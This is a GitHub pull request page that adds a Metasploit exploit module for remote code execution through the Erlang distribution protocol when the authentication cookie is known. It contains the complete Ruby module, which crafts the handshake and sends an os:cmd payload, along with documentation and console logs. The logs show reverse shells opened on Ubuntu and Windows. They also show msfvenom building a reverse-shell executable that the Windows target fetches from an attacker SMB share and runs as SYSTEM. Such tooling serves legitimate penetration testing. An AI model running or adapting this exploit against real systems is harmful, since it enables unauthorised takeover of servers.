Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Erlang cookie rce exploit module #11089

Merged
merged 14 commits into from
Dec 19, 2018
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
145 changes: 145 additions & 0 deletions documentation/modules/exploit/multi/misc/erlang_cookie_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
## Vulnerable Application

The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
instances. Should an attacker gain access to this cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as it's configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g "C:\Users\<USER>\.erlang.cookie". Code execution is achieved via the
"os:cmd('cmd')." command

## Verification Steps

1. Install the Erlang Port Mapper Daemon
2. Install RabbitMQ
3. Start `msfconsole`
4. Do `use exploit/unix/erlang_cookie_rce`
5. Do `set RHOST <ip>`
6. Do `set COOKIE <cookie>`
7. Select appropriate payload (default=cmd/unix/reverse)
8. Do `set LHOST <host>`
9. `exploit` and verify shell is opened (varies per OS)

## Scenarios

### Ubuntu 16.04.5 LTS

```
msf exploit(multi/erlang_cookie_rce) > options

Module options (exploit/multi/erlang_cookie_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)


Payload options (cmd/unix/reverse):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Target


msf exploit(multi/erlang_cookie_rce) > exploit

[*] Started reverse TCP double handler on W.X.Y.Z:4444
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[*] A.B.C.D:25672 - Challenge sent, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600

id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
```

### Windows 10 (Build 17134)

```
msf exploit(multi/erlang_cookie_rce) > options

Module options (exploit/multi/erlang_cookie_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE MOLKLGXHWQLTGUREBDKI yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)


Payload options (cmd/windows/generic):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD \\W.X.Y.Z\BOB\t.exe yes The command string to execute


Exploit target:

Id Name
-- ----
0 Automatic Target


msf exploit(multi/erlang_cookie_rce) > exploit

[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[*] A.B.C.D:25672 - Challenge sent, sending payload
[*] Exploit completed, but no session was created.

--- Impacket SMB Server ---
root@kali:/tmp# msfvenom -p windows/x64/shell_reverse_tcp LHOST=W.X.Y.Z LPORT=3 -f exe -o t.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: t.exe
root@kali:/tmp# impacket-smbserver BOB .
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (A.B.C.D,50349)
[*] AUTHENTICATE_MESSAGE (\,DESKTOP-85258BS)
[*] User \DESKTOP-85258BS authenticated successfully
[*] :::00::4141414141414141

--- Handler ---

root@kali:~# nc -lvp 3
Listening on [0.0.0.0] (family 0, port 3)
Connection from A.B.C.D 50350 received!
Microsoft Windows [Version 10.0.17134.407]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\667563~1\AppData\Roaming\RabbitMQ>whoami
whoami
nt authority\system

C:\Users\667563~1\AppData\Roaming\RabbitMQ>
```
119 changes: 119 additions & 0 deletions modules/exploits/multi/erlang_cookie_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
'Description' => %q{
The erlang port mapper daemon is used to coordinate distributed erlang instances.
Should an attacker get the authentication cookie RCE is trivial. Usually, this
cookie is named ".erlang.cookie" and varies on location.
},
'Author' =>
[
'Daniel Mende', # discovery / blog post
'Milton Valencia (wetw0rk)', # metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],
'Privileged' => 'false',
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse',
bcoles marked this conversation as resolved.
Show resolved Hide resolved
},
'Arch' => [ ARCH_CMD ],
'Targets' => [[ 'Automatic Target', {} ]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 5, 2017',
bcoles marked this conversation as resolved.
Show resolved Hide resolved
)
)

register_options(
[
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
Opt::RPORT(25672)
])
end

def generate_challenge_digest(challenge)
challenge = challenge.unpack('H*')[0].to_i(16).to_s

hash = Digest::MD5.new
hash.update datastore['COOKIE']
bcoles marked this conversation as resolved.
Show resolved Hide resolved
bcoles marked this conversation as resolved.
Show resolved Hide resolved
hash.update challenge

vprint_status("MD5 digest generated: #{hash.hexdigest}")
return [hash.hexdigest].pack('H*')
end

def exploit
connect

our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"

# SEND_NAME: send initial identification of who "we" are
send_name = "\x00"
send_name << [(our_node.length+7).to_s(16)].pack('H*')
send_name << "\x6e"
send_name << "\x00\x05"
send_name << "\x00\x03\x49\x9c"
send_name << "#{our_node}"
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
send_challenge_reply = "\x00\x15"
send_challenge_reply << "\x72"
# SEND: send the message to the node
send = "\x00\x00\x00"
send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*')
send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00"
send << [(our_node.length).to_s(16)].pack('H*')
send << "#{our_node}"
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64"
send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00"
send << [(our_node.length).to_s(16)].pack('H*')
send << "#{our_node}"
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04"
send << "call"
send << "\x64\x00\x02"
send << "os"
send << "\x64\x00\x03"
send << "cmd"
send << "\x6c\x00\x00\x00\x01\x6b\x00"
send << [(payload.raw.length).to_s(16)].pack('H*')
send << payload.raw
wetw0rk marked this conversation as resolved.
Show resolved Hide resolved
send << "\x6a\x64\x00\x04"
send << "user"

sock.put(send_name)

# recieve servers "SEND_CHALLENGE" token (4 bytes)
print_status("Receiving server challenge")
challenge = sock.get
challenge = challenge[14,4]

send_challenge_reply << challenge
send_challenge_reply << generate_challenge_digest(challenge)

print_status("Sending challenge reply")
sock.put(send_challenge_reply)

if sock.get.length < 1
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
end

print_status("Challenge sent, sending payload")
sock.put(send)
end
end